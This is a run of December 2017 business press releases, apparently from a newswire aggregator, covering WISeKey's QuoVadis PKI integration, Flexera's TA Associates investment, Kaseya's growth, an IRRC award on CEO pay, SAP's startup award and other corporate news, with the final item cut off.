WISeKey Cybersecurity Continues its Rapid Expansion with the Integration of QuoVadis Managed Cybersecurity Services and Technologies into its Vertical Platform GENEVA, Switzerland - December 19, 2017 - WISekey International Holding (WIHN.SW) ("WISeKey"), a leading Swiss cybersecurity and IoT company, announced today that the full integration of QuoVadis into the WISeKey Vertical Trust Platform has substantially increased the performance and revenues for its Cybersecurity vertical and opened new opportunities in Managed PKI Services. WISeKey's QuoVadis Cybersecurity-as-a-Service (CSaaS) offering has now more than 300 large-cap and 3,500 overall customers worldwide including Europe, the United States and Australia. The demand for Cybersecurity services is increasing and for FY2017 WISeKey QuoVadis projects stand-alone yearly revenues more than USD 20 million. "Since the acquisition of QuoVadis in April of 2017, we have taken steps to consolidate WISeKey's leading managed digital certificate and electronic signature business under the well-respected QuoVadis brand," said Carlos Moreira, Chairman and CEO of WISeKey. "The new WISekey Quovadis European brand competes with leading companies such as RSA, Digicert, Symantec and Entrust, all US centric. "As part of WISeKey, during FY2017 QuoVadis grew its top line by more than 14% to USD 20 million which is in line with our expectations. WISeKey QuoVadis' strong recurring revenue, combined with significant revenues generated from new clients signed up since the beginning of the year, gives us the confidence that QuoVadis will continue its growth in 2018. With its on-ground sales and strong operations teams, WISeKey QuoVadis has expanded WISeKey's reach in key European and international markets and is has become an important driver in WISeKey's growth strategy," added Mr. Moreira. In 2017, WISeKey QuoVadis also reaffirmed its role as an accredited Qualified Trust Service Provider ("TSP") under the EU eIDAS regulations for electronic ID, authentication, and signing services, and launched a new generation of its PrimoSign electronic signature platform, including expanded options for "digital on boarding" of new users from any online device. Initial partners and clients for these services include Intrum Justitia, IDnow and ELVIA eInvest in Switzerland. Additionally, WISeKey QuoVadis' TSP qualifications specifically support the enablement of WISeKey QuoVadis electronic signature services tailored to regional government driven compliance requirements for the Dutch accounting industry. The integration of QuoVadis brings strong synergies to WISeKey due to the large recurring customer base of QuoVadis' proven Trust/Link, PrimoSign, and ISTANA technologies; in-depth operations experience running secure and high-availability trustcenter environments under strict accreditation regimes; and responsive sales and support teams based in several important customer markets, including Switzerland. In 2017, WISeKey QuoVadis reinforced its role in the strategic Internet of Things (IoT) market with the introduction of the ISTANA PKI, a platform specifically tailored to the needs of IoT ecosystems. ISTANA PKI allows smart car manufactures to validate the authenticity of different veicle components using embedded digital certificates which can be used by employees, dealers and suppliers to access car components to diagnose mechanical/technical issues and update software, from any location. ISTANA PKI also protects on-board communication between vehicle components, enables secure over-the-air software updates and allows vehicle owners to securely interact with their car's smart features using smartphones and other devices.



Currently, WISeKey is working with several smart car manufacturers and its ISTANA PKI platform is already active in several large-scale projects. A recent example is a strategic contract signed with a leading European automobile manufacturer, cementing WISeKey's role in the Connected Car sector. The agreement includes the integration of WISeKey IoT and PKI with the manufacturer's connected car solutions, allowing them to authenticate legitimate car components and enable owners to securely interact with the car's smart features. WISeKey's total identifiable 5-year ISTANA revenues from the car manufacturing industry are expected to be in excess of USD 30 million, of which approximately USD 2.5 million and USD 7.0 million are expected to be realized in 2017 and 2018, respectively.

Roman Brunner, Chief Revenue Officer of WISeKey, said, "2017 was a growth year for the WISeKey QuoVadis operations as we saw over a decade of development pay off with increased sales, expanded services, and larger geographic footprint. Looking ahead to 2018, we expect to see further growth from WISeKey QuoVadis operations as we continue to redefine the way Cybersecurity is delivered and managed. Strong ongoing demand in the area of "advanced solutions for secure corporate email" continue to support our growth specifically in the Banking, Financial Services and pharmaceutical segments in Germany and Switzerland next to "integrated personal electronic signature services" combined with Managed PKI." "Additionally, WISeKey QuoVadis will soon add new generations of its managed platforms, developed to meet the fast-evolving needs of large existing and new enterprise clients across the world. These will widen the WISeKey group sales and partnerships in the digital certificate and electronic signature markets across the board," concluded Mr. Brunner. About WISekey QuoVadis WISeKey QuoVadis is a leading global Certification Authority (CA) providing cloud-based Trust/Link Managed PKI (Public Key Infrastructure) services, including TLS/SSL digital certificates for web security as well as eID for authentication, encryption, and digital signature. WISeKey QuoVadis also provides electronic-signature platforms including mass signature and trusted time-stamping solutions for e-invoicing, as well as cloud-based signing platforms for individuals. QuoVadis electronic-signatures are used on more than 60 million electronic transactions annually. WISeKey QuoVadis is an established Qualified Trust Services Provider (TSP) for eID and electronic transactions in Switzerland under ZertES and with updated eIDAS accreditations for the European Union. The company also has significant experience in public eID including the Dutch PKIoverheid and the Swiss SuisseID programmes. QuoVadis customers include a spectrum of multinational companies, financial services entities, university systems and public sector organizations worldwide. About WISeKey:

WISeKey (SIX Swiss Exchange: WIHN) is a leading global cybersecurity company currently deploying large scale digital identity ecosystems with a patented process. WISeKey's Swiss based cryptographic Root of Trust ("RoT") provides secure authentication and identification, in both physical and virtual environments, for the Internet of Things, Blockchain and Artificial Intelligence. The WISeKey RoT serves as a common trust anchor to ensure the integrity of online transactions among objects and between objects and people. For more information, visit www.wisekey.com . To receive WISeKey's latest news, subscribe to our Newsletter or visit the WISeKey Investors Corner. Press and investor contacts: WISeKey International Holding Ltd

Company Contact: Carlos Moreira

Chairman & CEO

Tel: +41 22 594 3000

[email protected] WISeKey Investor Relations (US)

Contact: Lena Cati

The Equity Group Inc.

Tel: +1 212 836-9611

[email protected] Disclaimer: This communication expressly or implicitly contains certain forward-looking statements concerning WISeKey International Holding Ltd and its business. Such statements involve certain known and unknown risks, uncertainties and other factors, which could cause the actual results, financial condition, performance or achievements of WISeKey International Holding Ltd to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. WISeKey International Holding Ltd is providing this communication as of this date and does not undertake to update any forward-looking statements contained herein as a result of new information, future events or otherwise. This press release does not constitute an offer to sell, or a solicitation of an offer to buy, any securities, and it does not constitute an offering prospectus within the meaning of article 652a or article 1156 of the Swiss Code of Obligations or a listing prospectus within the meaning of the listing rules of the SIX Swiss Exchange. Investors must rely on their own evaluation of WISeKey and its securities, including the merits and risks involved. Nothing contained herein is, or shall be relied on as, a promise or representation as to the future performance of WISeKey.

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[December 19, 2017] BIOPHYTIS to Participate in Corporate Access Event in San Francisco, January 8 - 10, 2018

PARIS, Dec. 19, 2017 (GLOBE NEWSWIRE) -- BIOPHYTIS (Euronext Growth Paris:ALBPS), a biotechnology company specializing in the development of drug candidates to treat age-related diseases, today announced that its senior management team will host institutional investor and partnering meetings at the LifeSci Advisors Corporate Access Event taking place in San Francisco, CA (The Sir Francis Drake Hotel, 450 Powell St.), January 8-10, 2018.

To schedule a meeting with BIOPHYTIS, investors can register on the online system managed by the Companys US investor relations firm, LifeSci Advisors, LLC, or make a request via e-mail at [email protected]. About BIOPHYTIS:

BIOPHYTIS SA (www.biophytis.com), founded in 2006, develops drug candidates targeting diseases of aging. Using its technology and know-how, BIOPHYTIS has begun clinical development of innovative therapeutics to restore the muscular and visual functions in diseases with significant unmet medical needs. Specifically, the company is advancing two lead products into mid-stage clinical testing this year: Sarconeos (BIO101) to treat sarcopenic obesity and Macuneos (BIO201) to treat dry age-related macular degeneration (AMD).

The business model of BIOPHYTIS is to ensure the conduct of the project until clincal activity in the patient is proven, then to license the technologies in order to continue the development in partnership with a pharmaceutical laboratory.





BIOPHYTIS is listed on the Euronext Growth market of Euronext Paris

(ALBPS; ISIN: FR0012816825).

For more information: http://www.biophytis.com Follow us on Twitter @biophytis BIOPHYTIS is eligible for the SMEs scheme Disclaimer

This press release contains certain forward-looking statements. Although the Company believes its expectations are based on reasonable assumptions, these forward-looking statements are subject to numerous risks and uncertainties, which could cause actual results to differ materially from those anticipated. For a discussion of risks and uncertainties which could cause the Company's actual results, financial condition, performance or achievements to differ from those contained in the forward looking statements, please refer to the Risk Factors (Facteurs de Risque) section of the Listing Prospectus upon the admission of Companys shares for trading on the regulated market Euronext Growth of Euronext Paris filed with the AMF, which is available on the AMF website (www.amf-france.org) or on BIOPHYTIS website (www.biophytis.com). This press release and the information contained herein do not constitute an offer to sell or a solicitation of an offer to buy or subscribe to shares in BIOPHYTIS in any country. Items in this press release may contain forward-looking statements involving risks and uncertainties. The Companys actual results could differ substantially from those anticipated in these statements owing to various risk factors which are described in the Companys prospectus. This press release has been prepared in both French and English. In the event of any differences between the two texts, the French language version shall prevail. BIOPHYTIS

Stanislas VEILLET

CEO

[email protected]

Tel: +33 (0) 1 44 27 23 00 Citigate Dewe Rogerson

Presse internationale & Investisseurs

Laurence BAULT/Antoine DENRY

[email protected]

[email protected]

Tel: +33 (0)1 53 32 84 78

Mob: +33(0)6 64 12 53 61 LifeSci Advisors

Chris MAGGOS

Managing Director, Europe

[email protected]

Tel: +41 79 367 6254

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[December 19, 2017] Flexera Announces New Investment Partnership with TA Associates

ITASCA, Ill., Dec. 19, 2017 (GLOBE NEWSWIRE) -- Flexera, the company thats reimagining how software is bought, sold, managed and secured, today announced that it has entered into a new investment partnership with TA Associates (TA), a leading global growth private equity firm. TA is acquiring equity from existing investors, and will work in partnership with existing lead investor Ontario Teachers Pension Plan (Ontario Teachers) to continue to grow the company. The transaction is expected to close in February 2018.

The $350 billion supply chain governing how software is bought, sold, managed and secured is broken, and its costing organizations tens of billions of dollars per year. Flexera solves this ingrained problem, and the market is rewarding our innovation with double digit growth, and world-class customer satisfaction and renewal rates, said Jim Ryan, Flexeras President and CEO. TA Associates is an experienced growth investor that has an established track record within the software space. By leveraging their experience and industry knowledge, were confident that Flexera can continue to scale to reach our next level of success. Were thrilled that TA, alongside Ontario Teachers, shares our vision for reimagining the software supply chain, and were eager to begin working with them as we accelerate our momentum. Flexera leads in all the markets it serves across the software supply chain. The companys solutions make the business of buying and selling software and technology asset data more profitable, secure and effective. Its portfolio includes the industrys most comprehensive Technology Asset Data platform, Software Monetization and Open Source Compliance and Security solutions for technology supplies, and Software Asset Management and Software Vulnerability Management solutions for technology buyers.



TA Associates has deep experience working collaboratively with profitable, innovative companies like Flexera that are focused on strategic growth. TA is one of the leading investors in enterprise software businesses and will serve as an active and constructive partner, engaging with Flexeras management team as the company executes on its plan. Flexera is reimagining the software industry, said Harry D. Taylor, a Managing Director at TA Associates. This investment represents a unique opportunity to capitalize on Flexeras momentum and gives the companys executives access to our strategic resources and skills to help support their exciting vision. We look forward to working closely with Flexeras Senior Leadership Team and Ontario Teachers in a partnership that we believe will be beneficial to Flexeras employees, customers and partners.

Were excited to partner with the Flexera management team to help drive organic growth and to continue Flexeras successful acquisition strategy, added Ashu Agrawal, a Managing Director at TA Associates. For the past six years, our investment in Flexera has clearly demonstrated our strategy of investing in companies with excellent prospects for growth and value creation, said Jane Rowe, Senior Managing Director, Private Capital at Ontario Teachers. Having TA Associates join as an investment partner is an exciting development that we believe will help position Flexera very well to execute on its vision to transform the software industry supply chain. Follow us on LinkedIn

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RSS About Flexera Flexera is reimagining the way software is bought, sold, managed and secured. We view the software industry as a supply chain, and make the business of buying and selling software and technology asset data more profitable, secure, and effective. Our Monetization and Security solutions help software sellers transform their business models, grow recurring revenues and minimize open source risk. Our Vulnerability and Software Asset Management (SAM) solutions strip waste and unpredictability out of procuring software, helping companies buy only the software and cloud services they need, manage what they have, and reduce compliance and security risk. Powering these solutions and the entire software supply chain, Flexera has built the worlds largest and most comprehensive repository of market intelligence on technology assets. In business for 30+ years, our 1200+ employees are passionate about helping our 80,000+ customers generate millions in ROI every year. Visit us at www.flexera.com. About Ontario Teachers The Ontario Teachers' Pension Plan (Ontario Teachers') is Canada's largest single-profession pension plan, with $180.5 billion in net assets at June 30, 2017. It holds a diverse global portfolio of assets, approximately 80% of which is managed in-house, and has earned an annualized gross rate of return of 10.1% since the Plan's founding in 1990. Ontario Teachers' is an independent organization headquartered in Toronto. Its Asia-Pacific region office is located in Hong Kong and its Europe, Middle East & Africa region office is in London. The defined-benefit plan, which is fully funded, invests and administers the pensions of the province of Ontario's 318,000 active and retired teachers. For more information, visit otpp.com and follow us on Twitter @OtppInfo. About TA Associates TA Associates is one of the largest and most experienced global growth private equity firms. Focused on five target industries  technology, healthcare, financial services, consumer and business services  TA invests in profitable, growing companies with opportunities for sustained growth, and has invested in nearly 500 companies around the world. Comfortable as either a majority or minority investor, TA employs a long-term investing approach, utilizing its strategic resources to help management teams build lasting value in growth companies. TA has raised $24 billion in capital and is investing out of current funds of $7.25 billion. The firms more than 85 investment professionals are based in Boston, Menlo Park, London, Mumbai and Hong Kong. More information about TA Associates can be found at www.ta.com. *All third-party trademarks are the property of their respective owners. For more information, contact: Flexera Amanda Ingalls (949) 241-1515 [email protected]

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[December 19, 2017] Winners of 2017 IRRC Institute Research Award Find Structure of CEO Pay Incentivizes Actions that Boost Short-term Stock Price, But Destroy Long-Term Value

The timing of stock-related chief executive officer (CEO) compensation is a predictor of corporate actions that boost short-term stock price but destroy long-term value, according to the two winning academic papers of the Investor Responsibility Research Center Institute (IRRCi) annual investor research competition. The winning academic research teams will share a $10,000 award. "The two winning research papers use the vesting schedule for CEO compensation - when the CEO can sell stocks and options - to demonstrate that heavy vesting periods lead to actions that suggest that some CEOs are more concerned with short-term stock price movement than long-term value creation." said Jon Lukomnik, IRRCi Executive Director. "These are the first papers to closely examine the structure of CEO equity vesting schedules and then correlate it to value-creating or value-destroying corporate activities." "For example, the research finds that a high amount of equity vesting will increase the likelihood that a company will revise guidance upward; reduce research and development and capital expenditures; buy-back shares or increase the amount of its share buy-back; and even enter into merger and acquisition activity. The research paints a clear and bold portrait of short-termism with concern for long-term value creation faded into the background,' Lukomnik explained. The first winning research paper, Equity Vesting and Investment, is co-authored by Alex Edmans, London Business School; Vivian W. Fang, Carlson School of Management at the University of Minnesota; and Katharina A. Lewellen, Tuck School of Business at Dartmouth. This paper studies the link between real investment decisions and CEO's short-term stock price concerns. It finds that vesting equity induces CEOs to reduce investments in long-term projects and to take actions that increase short-term stock price. More broadly, it shows that the structure of CEO compensation has a causal effect on real-world decisions. Download the research here. The second winning paper, The Long-Term Consequences of Short-Term Incentives, is also co-authored by Edmans and Fang, together with Allen H. Huang of the Hong Kong University of Science and Technology. This paper studies two corporate actions that allow accurate measurement of the long-term consequences of short-term incentives - stock repurchases and mergers and acquisitions (M&A). The research shows that the impending vesting of equity may lead CEOs to take myopic actions that boost the short-term stock price at the expense of long-term value. An increase in vesting equity is associated with a greater frequency of stock repurchases and M&A announcements, and both corporate events were associated with higher short-term returns and lower long-term returns. Download the research here.



Alex Edmans said, "We are honored to win this award. With IRRC's leading role in the practice of corporate governance, we hope our research can be used to guide the reform of executive pay. While pay does need to be improved, a correct diagnosis must precede treatment. Many views on executive pay - and thus calls for reform - are based on hand-picked anecdotes rather than large-scale evidence. While reformers often target the level of pay, our research suggests that the horizon of pay is a more important dimension. Giving CEOs equity with long vesting periods will encourage them to focus on long-term investment rather than short-term earnings." Vivian Fang said, "For decades, both academics and practitioners have argued that short-term incentives hinder long-term growth. While intuitive, showing a causal effect of incentives on CEO actions is challenging because the same factors that drive CEO actions can also drive incentives. We use CEO vesting schedules - which were decided several years prior and thus are unlikely linked to current CEO actions - as a measure of short-term incentives. By linking vesting equity to firm outcomes that reflect value erosion, we show a negative causal effect of short-term incentives on firm value."

The academic paper submissions were of such high quality that the judges selected another research paper for Honorable Mention recognition, Corporate Governance and The Rise of Integrating Corporate Social Responsibility Criteria in Executive Compensation: Effectiveness and Implications for Firm Outcomes. This research is co-authored by Caroline Flammer at Boston University's Questrom School of Business; Bryan Hong at the University of Western Ontario's Ivey Business School; and Dylan Minor at Northwestern University's Kellogg School of Management. This study also examines the structure of CEO compensation, and it finds that the integration of corporate social responsibility criteria in executive compensation - a relatively recent phenomenon - leads to an increase in long-term orientation; an increase in firm value; an increase in social and environmental performance; a reduction in emissions; and an increase in green innovations. Download the research here. The respected judges for the 2017 IRRC Institute Prize were: Robert Dannhauser, Head of Capital Markets Policy, CFA Institute

James Hawley, Professor emeritus and Director of the Elfenworks Center for Fiduciary Capitalism at St. Mary's College of California

Erika Karp, Founder, CEO and Chair of the Board of Cornerstone Capital

Nell Minow, Governance Expert and Huffington Post (News - Alert) Columnist The judges did not award a prize for a practitioner paper this year. Biographies of the judges are available here. Information on past winners is available here. More information about the award is available here. Read the full body of IRRCi research here. The IRRC Institute is a nonprofit research organization that funds academic and practitioner research that enables investors, policymakers and other stakeholders to make data-driven decisions. IRRCi research covers a wide range of topics of interest to investors, is objective, unbiased and disseminated widely. More information is available at www.irrcinstitute.org. Follow IRRCi on Twitter (News - Alert) at @IRRCResearch. View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005313/en/

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[December 19, 2017] Kaseya Continues Momentum With Record Sales and Worldwide Customer Growth in 2017

NEW YORK and MIAMI, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Kaseya, the leading provider of complete IT management solutions for managed service providers (MSPs) and mid-market enterprises (MME), today announced record corporate growth for 2017. The springboard for its success is the continued adoption and market demand for Kaseyas IT Complete platform.

As the industrys first and only unified growth platform designed specifically for the MSP community, IT Complete enabled the average Kaseya MSP to grow its business by more than 37 percent in 2017. Driven by Kaseyas Times 20 strategy of delivering solutions that allow MSPs to receive a 20 times return on their IT investments, IT Complete became an even more powerful revenue-generating platform for MSPs through strategic M&A activity, corporate growth and product innovation. Kaseyas customer-centric focus continues to provide strong financial results for the company as the companys growth exceeded 40 percent in 2017, and continues to accelerate into 2018. With more than 1,000 new PSA customers, surging customer satisfaction scores and the continuous delivery of proven, next-generation IT management solutions, 2017 has been a record year for Kaseya. 2017 Corporate and Product Milestones include: Acquisition of Unigma

In May, Kaseya announced the launch and general availability of the Unigma Cloud Management Suite, based on an earlier acquisition. Aimed at filling the void in public cloud management solutions for MSPs, the Unigma Cloud Management Suite delivers unified cloud management capabilities that empower MSPs to automate billing tasks, and optimize costs through detailed cloud utilization analysis. In October, Kaseya added new enhancements to Unigma including seamless Microsoft Office 365, Microsoft Azure, Google Cloud Platform and Amazon Web Services (AWS) billing integrations with professional services automation (PSA) solutions from Kaseya, ConnectWise and Autotask. Additionally, Unigma was fully integrated with AuthAnvil by Kaseya for secure single sign-on via Kaseyas powerful identity and access management solution. Product Enhancements

Powered Services

In 2017, Kaseya announced its game changing Powered Services offering, specifically developed to enable MSPs to easily go-to-market and deliver innovative solutions for customers that immediately generate monthly recurring revenues. Security and network monitoring are especially critical areas of need for SMBs and midmarket businesses, and through Powered Services MSPs can now deliver these emerging solutions with the expertise and agility to both address customer needs and accelerate the growth of their businesses. Built on a foundation of innovative security solutionssuch as single sign-on (SSO) and two-factor authentication (2FA)AuthAnvil offers a powerful suite of functionality developed to protect MSPs, while also allowing MSPs to easily create a Security-as-a-Service (SECaaS) offering to grow their businesses. With SSO, 2FA and Password Management all included, the solution delivers modern, simple identity and access security at a highly affordable price. This is a timely service as recent research showed 80 percent of security breaches involve privileged credential misuse, a vulnerability AuthAnvil protects users from.



With a network monitoring service powered by Traverse by Kaseya, managed service providers and other IT delivery houses can offer their customers a valuable monitoring solution that helps them identify and resolve infrastructure issues faster than other leading monitoring tools. With deep network discovery and a business-centric view of network applications, a Network Monitoring-as-a-Service (NMaaS) powered service delivers on maximizing network and application availability and performance. Kaseya MSP Insights

The recent launch of Kaseya MSP Insights delivers a new business intelligence and benchmarking tool specifically designed to ensure the success of Kaseya MSP partners. Built upon proprietary technical and business data, the online portal allows MSPs to quickly and easily benchmark their own business metrics against other MSPs in their region, analyze new and emerging MSP service offerings, evaluate bundling and pricing strategies, and review detailed technical trends. With Kaseya MSP Insights, IT service providers can quickly benchmark their own list of technology solutions and services against what other local providers offerdelivering a huge competitive advantage.

Traverse 9.5 by Kaseya

The latest version of Traverse is a breakthrough, unified monitoring solution that provides users with holistic, real-time insights into the performance of hybrid IT infrastructures and distributed data centers. The solution empowers organizations with a service-centric, proactive approach to network performance management to ensure network uptime, drive business success, and easily monitor and manage networks and data centers. With integrated actionable alerts, Traverse enables IT to more quickly pinpoint root-cause analyses for faster issues remediation. VSA 9.4 by Kaseya

With next release of VSA 9.5 coming in January 2018, the latest release of VSA by Kaseya included next-generation innovations developed specifically for advanced MSPs and enterprise IT departments. New features promote policy-based automation with proactive remediation to increase overall team productivity. The Kaseya automation framework allows companies to securely take charge of their infrastructure by transparently and remotely managing servers, desktops, mobile devices, home-based desktops and network devices  all from a single central management console. Built on a foundation that promotes the best user technician experience in the industry, VSA by Kaseya is the ideal RMM solution for growing IT departments. GDPR Resource Center and Compliance Pack

The Kaseya GDPR Resource Center helps organizations understand, plan and build their GDPR-related compliance strategies. It includes a community portal, where professionals can exchange ideas and best practices, and the new GDPR Compliance Pack, which features new compliance reports and technology to help customers worldwide comply with the regulation. It is available as a free plugin to Kaseyas flagship remote monitoring and management solution, VSA. Industry Recognition

Throughout 2017, Kaseya received industry recognition through a myriad of corporate and product awards. A sampling includes: Platinum Winner, Integrated RMM/PSA Solution and Remote Monitoring and Management Solution, Redmond Channel Partner 2017 Readers Choice Awards

Gold Winner, Professional Services Automation Solution and Cloud Migration Solution, Redmond Channel Partner 2017 Readers Choice Awards

ITSM Category Leader, GetApp IT Service Management

Winner, Digital Workplace category, Ovum on the Radar Awards

Finalist, UK IT Industry Awards Community Expansion

In November, Kaseya announced its newly enhanced Kaseya Accelerate in the City live events program. Focused on improving and enriching customer experiences, Kaseyas Accelerate in the City roadshow events serve as opportunities for the company to continuously stay connected with its customers, share new product innovations first-hand, and collaborate with the global Kaseya community on future products, services and initiatives. Year after year, Kaseya pushes the envelope to continue to be the clear cut IT systems management platform of choice by the most successful MSPs and mid-market enterprises worldwide. We succeed when our customers succeed, and its through this mindset that we deliver leading-edge products and services that have a direct impact on our customers businesses, said Fred Voccola, CEO, Kaseya. IT Complete continues to deliver on its promise to enable our users to grow massively. Were proud of the success of IT Complete, which is defined by a single measure  that the average Kaseya MSP leveraging the IT Complete platform experienced a 37 percent growth in annual revenue in their business. Added Voccola, We continue to invest and ensure that a Kaseya MSP is the most successful managed service provider. Our core goal is to make our customers successful and align our business financial success around our customers financial success. Unlike our competitors, we dont focus on driving growth from products and services that our MSPs dont get paid for. For this reason, we are humbled by the fact that our customers continue to put their trust in us and allow us to work with them. Our financial success is attributed to two amazing constituents  first and foremost, our customers, and a very close second are our employees around the world, who are continuously dedicated to the success of our customers. About Kaseya

Kaseya is the leading provider of complete IT management solutions for managed service providers (MSPs) and midsized enterprises. Through its open platform and customer-centric approach, Kaseya delivers best in breed technologies that allow organizations to efficiently manage and secure IT. Offered both on-premise and in the cloud, Kaseya solutions empower businesses to command all of IT centrally, easily manage remote and distributed environments, and automate across IT management functions. Kaseya solutions manage over 10 million endpoints worldwide. Headquartered in Dublin, Ireland, Kaseya is privately held with a presence in over 20 countries. To learn more, visit www.kaseya.com. Media Contact

Scott Lechner

Kulesa Faul for Kaseya

[email protected]

(530) 521-3095

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[December 19, 2017] Boostability CEO Gavan Thorpe Ranked Fifth On Comparably's List of Best CEOs

SILICON SLOPES, Utah, Dec. 19, 2017 /PRNewswire/ -- Boostability CEO Gavan Thorpe has been recognized among the best CEOs for small to midsize businesses in the United States by Comparably, a website that ranks workplaces based on anonymous reviews of current employees. "The CEOs included in Comparably's annual Best CEOs list ranked among the highest-rated leaders across thousands of CEOs," said Comparably CEO Jason Nazar. "Most notably, this award came directly from the contribution of their own employees and ratings across multiple dimensions from a diverse talent pool of various departments, genders and backgrounds. It's an honor to be included in the 2017 Best CEOs list and reflective of the great teams and company cultures these leaders have helped to foster." Thorpe was ranked fifth with a current rating of 91 out 100. "I'm very honored that the team members at Boostability feel that way about me," said Thorpe. "I'd like to thank all the employees, managers, and everyone who makes Boostability what it is. They all contributes to a positive workplace and a happy customer base." Thorpe was promoted to CEO in January 2017. Boostability CTO and cofounder Jared Turner has been impressed wih Thorpe's performance in his first year as the company's CEO.



"It's a great honor," Turner said. "Gavan is well-deserving. He demonstrates leadership, genuine respect, and admiration and care for his employees and all those that he works with. He's very thoughtful. He listens to all opinions, and he's usually able to come up with solid solutions that feel very collaborative." Boostability also ranks highly for its leadership in general, making Comparably's list of best managers. Thorpe credited the leadership team's success, in part, to its experience.

"Most of the leadership team has worked their way up through the ranks," Thorpe said, noting that Turner started out coding the company's software as its lone initial developer. "That helps them understand what we're trying to accomplish and what it's like to be on the front lines." The high ratings for Boostability's leadership team has contributed to the overall workplace culture of the company, as it also made Comparably's list of best team cultures. "I think it's a great place to work," Turner said. "We try to create a culture of accountability and performance, and a strong comradery exists. We have a fun time at work, and we try to engage and create a culture that feels like a larger family. We care for the employees, and that's been important ever since the inception of the company that people feel valued." About Boostability Established in 2009, Boostability was founded on a simple business model: to create affordable and effective SEO for the small business marketplace. And it's worked. Today, Boostability serves thousands of small businesses, helping them elevate their digital presence and succeed online. Boostability primarily works with partners that offer their white-labeled SEO, social media, and website build services to their SMB clients. The company serves more than 25,000 active clients and has over 300 employees based in two offices across the Silicon Slopes of Utah and satellite locations in Amsterdam and Berlin. For more information, visit please visit www.boostability.com. Media Contact:

Kelly Shelton

[email protected]

1-800-261-1537 View original content with multimedia:http://www.prnewswire.com/news-releases/boostability-ceo-gavan-thorpe-ranked-fifth-on-comparablys-list-of-best-ceos-300571780.html SOURCE Boostability

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[December 19, 2017] SAP Wins Top Spot in Prestigious Startup Europe Partnership Awards

WALLDORF, Germany, Dec. 19, 2017 /PRNewswire/ -- The SAP Startup Focus program won first place in the Startup Europe Partnership (SEP) "Europe's Corporate Startup Stars," an initiative promoted by the European Commission to recognize Europe's top startup-friendly companies, SAP SE (NYSE: SAP) announced today. The awards were presented during a ceremony yesterday in Brussels. Established by the Commission's Startup Europe Partnership initiative, the SEP awards recognized 36 companies for their efforts collaborating with startups and encouraging open innovation. Twelve companies were named "Corporate Startup Stars." Another 24 were recognized as "Open Innovation Challengers." The competition is organized by open innovation advisory firm Mind the Bridge with the support of the UK-based innovation foundation Nesta. "The Judging Committee called out SAP's holistic approach and global presence, along with the company's strong commitment to procurement and its active role as a M&A player, as influencing its first-place position," said Alberto Onetti, Mind the Bridge chairman and Startup Europe Partnership coordinator. "Now in its sixth year, SAP Startup Focus was founded to enable emerging companies to join our innovation ecosystem and bring new technologies to market," said Manju Bansal, SAP vice president and global head of SAP Startup Focus. "Winning the SEP Europe's Corporate Startup Star award is a testament that our global startup initiative, with members from more than 60 countries, continues to inspire startups to use the power of SAP platform technologies to develop the solutions of tomorrow." SAP Startup Focus supports startups in developing new applications on SAP technology, including SAP Cloud Platform and the SAP HANA platform, among others. The program is an accelerator for enterprise-centric startups focusing on the Big Data, predictive and real-time analytics space. So far, more than 6,100 startups have engaged with the program, which began in mid-2012. Since then its members have delivered more than 288 validated solutions that address discrete customer needs across multiple industries. Startups remain focused on using SAP technoogy platforms to deliver next-generation solutions in a wide range of areas including real-time simulations and pattern recognition, blockchain, personalized analytics, machine learning, artificial intelligence, augmented and virtual reality, and Internet of Things (IoT) solutions.



SAP Startup Focus is an essential part of the company's startup initiatives, which also comprise programs such as SAP.iO Foundries and SAP IoT Startup Accelerator. For more information, visit the SAP News Center. Follow SAP on Twitter at @sapnews.

About Startup Europe Partnership (SEP)

Established by the European Commission in January 2014 at the World Economic Forum in Davos, SEP is the first pan-European open innovation platform dedicated to transforming European startups into scaleups by linking them with global corporations and stock exchanges. SEP is led by Mind the Bridge, a global organization based in Europe and Silicon Valley, in partnership with innovation foundation Nesta, the European Investment Fund/European Investment Bank Group, London Stock Exchange Group, EBAN, the European Startup Network and The ScaleUp Institute. By participating in the SEP program, global companies have access to the best technologies and companies with the goal of initiating business partnerships and venture corporate investments. Scaleups are exposed to qualified sales/strategic opportunities as well as funding options either via venture capital, private placements or IPOs. For more info: http://startupeuropepartnership.eu | @sep_eu About SAP

As market leader in enterprise application software, SAP (NYSE: SAP) helps companies of all sizes and industries run better. From back office to boardroom, warehouse to storefront, desktop to mobile device  SAP empowers people and organizations to work together more efficiently and use business insight more effectively to stay ahead of the competition. SAP applications and services enable more than 365,000 business and public sector customers to operate profitably, adapt continuously and grow sustainably. For more information, visit www.sap.com. Any statements contained in this document that are not historical facts are forward-looking statements as defined in the U.S. Private Securities Litigation Reform Act of 1995. Words such as "anticipate," "believe," "estimate," "expect," "forecast," "intend," "may," "plan," "project," "predict," "should" and "will" and similar expressions as they relate to SAP are intended to identify such forward-looking statements. SAP undertakes no obligation to publicly update or revise any forward-looking statements. All forward-looking statements are subject to various risks and uncertainties that could cause actual results to differ materially from expectations. The factors that could affect SAP's future financial results are discussed more fully in SAP's filings with the U.S. Securities and Exchange Commission ("SEC"), including SAP's most recent Annual Report on Form 20-F filed with the SEC. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of their dates.  2017 SAP SE. All rights reserved.

SAP and other SAP products and services mentioned herein as well as their respective logos are trademarks or registered trademarks of SAP SE in Germany and other countries. Please see http://www.sap.com/corporate-en/legal/copyright/index.epx#trademark for additional trademark information and notices. For customers interested in learning more about SAP products:

Global Customer Center: +49 180 534-34-24

United States Only: 1 (800) 872-1SAP (1-800-872-1727) For more information, press only:

Dana Dye, SAP, +1 415-928-1310, [email protected], PT

SAP News Center press room; [email protected]

Serena Orizi, Mind the Bridge, +39 3204205558, [email protected] View original content with multimedia:http://www.prnewswire.com/news-releases/sap-wins-top-spot-in-prestigious-startup-europe-partnership-awards-300572767.html SOURCE SAP SE

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[December 19, 2017] DataScience.com to Host DataScience: Elevate Event in San Francisco

LOS ANGELES, Dec. 19, 2017 (GLOBE NEWSWIRE) -- DataScience.com has announced the addition of a San Francisco event to DataScience: Elevate, the companys flagship symposium series dedicated to showcasing the work of data science disruptors. On February 22, 2018, analytics experts from Uber, Korn Ferry, Cisco, and other leading companies will take the stage at the San Francisco Marriott Marquis to share best practices for leveraging machine learning and artificial intelligence in business applications.

